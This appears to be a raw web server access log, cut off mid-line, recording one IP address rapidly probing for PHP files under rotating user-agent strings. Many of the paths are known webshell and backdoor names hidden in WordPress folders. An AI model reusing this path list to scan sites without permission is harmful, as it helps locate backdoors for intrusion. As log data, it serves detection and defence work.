146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-admin/css/colors/sunrise/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:49:46 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:47 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:48 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:49 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:50 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:51 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux 